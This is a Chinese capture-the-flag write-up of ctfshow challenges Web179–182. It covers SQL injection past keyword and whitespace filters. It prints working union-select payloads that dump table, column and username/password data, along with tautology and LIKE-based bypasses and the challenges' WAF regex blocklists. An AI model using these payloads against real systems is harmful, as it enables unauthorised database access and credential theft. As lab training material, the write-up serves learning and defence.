当前位置: 首页 > article >正文

ctfshow(179->182)--SQL注入--更多过滤与like运算符

Web179

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

联合注入,但是要先测试过滤了哪些字符。
已知传入的id是单引号闭合形式,输入:

1' //提前闭合语句,能查询到数据。
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //成功返回数据

所以我们用%23作为注释语句后面部分的符号。

测试空格是否被过滤:

1' %23 //无数据,说明空格被过滤

//无数据
1'%09%23
1'%0a%23
1'%0d%23
1'/**/%23
1'+%23

//有数据
1'%0c%23

说明除%0c外的空格替换符号都被过滤。

1'%0corder%0cby%0c3%23

order by 查出字段数为3

-1'%0cunion%0cselect%0c1,2,3%23

union select 找到各个字段对应的回显位置。

之后的步骤没有其他被过滤的字符了,走流程即可:

-1'%0cunion%0cselect%0c1,2,database()%23
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user%23

得到flag.

Web180

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

思路与上一题相同
查注释过滤:

1' //报错
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //无数据
1'--%0c //成功返回数据

所以我们用--%0c充当注释符。

查空格过滤:

1' --%0c //无数据

1'%0c--%0c //有数据

查字段数:

1'%0corder%0cby%0c3--%0c

字段数3

查字段回显位:

-1'%0cunion%0cselect%0c1,2,3--%0c

爆库:

-1'%0cunion%0cselect%0c1,2,database()--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user--%0c

得到flag.

Web181

进入界面:

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

过滤了空格及其所有的替换字符
过滤了一些注释符
过滤了file,into,select

思路/EXP:

可以说是过滤了联合注入的手段.
直接查找username为flag的数据:

-1'or(username)='flag

//也可以
-1'||username='flag
-1'or(username)='flag'--%01
-1'||username='flag'--%01
-1'or(1)='1'--%01
-1'||1='1'--%01

得到flag.

Web182

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

在上一题的基础上多过滤了flag

思路/EXP:

使用万能密码:

-1'||1='1'--%01

直接爆出整个表,得到flag.

也可以使用SQL中的like运算符:

SQL 中的 LIKE 是什么?

LIKE 运算符在 SQL 中用于寻找与特定模式相匹配的值。它使用通配符 %(百分号)和 _(下划线),允许您指定要搜索的值的特定部分。

百分号(%)

百分号匹配任何数量的字符。例如,LIKE ‘%john%’ 将匹配 john、john smith、johnny 等值。

下划线(_)

下划线匹配单个字符。例如,LIKE ‘j_hn’ 将匹配 john,但不会匹配 johnny。

-1'||`username`like'f% //注意这里username是用反引号包围的
-1'||`username`like'fla_
-1'||(username)like'fla_ //用括号包围也可以
-1'or(username)like'fla_ //当然可以使用or

得到flag.


http://www.kler.cn/a/371094.html

相关文章:

  • RabbitMQ(四)
  • 【Unity高级】一文了解Unity 中的条件编译(附所有指令)
  • 云服务信息安全管理体系认证,守护云端安全
  • 探索图像编辑的无限可能——Adobe Photoshop全解析
  • C++基础入门
  • 【华为OD-E卷 - 求字符串中所有整数的最小和 100分(python、java、c++、js、c)】
  • 基于fpga技术的脉冲信号源设计(论文+源码)
  • VantUI
  • 理解生成式模型中的Temperature、Top-k 以及 Top-p 参数
  • AI驱动的低代码未来:加速应用开发的智能解决方案
  • R语言实现GWAS meta分析(1)
  • 基于 vue 快速上手 React
  • 嵌入式软件 Bug 排查与调试技巧
  • 嵌入式学习-网络-Day03
  • 从头学PHP之流程控制
  • 基于Mysql、JavaScript、PHP、ajax开发的MBTI性格测试网站(前端+后端)
  • 【React】React18核心源码解读
  • Spring Boot植物健康系统:绿色科技的突破
  • 基于SSM+小程序的购物管理系统1
  • 整合Mybatis-plus及最佳实践
  • Android中SurfaceView与GLSurfaceView 的关系
  • 3GPP协议解读_NTN系列(一)_38.811_非地面网络(NTN)的背景、应用场景和信道建模
  • 京东双十一高并发场景下的分布式锁性能优化
  • PHP显示数据库中图片BLOB格式
  • lvgl
  • 今日总结10.28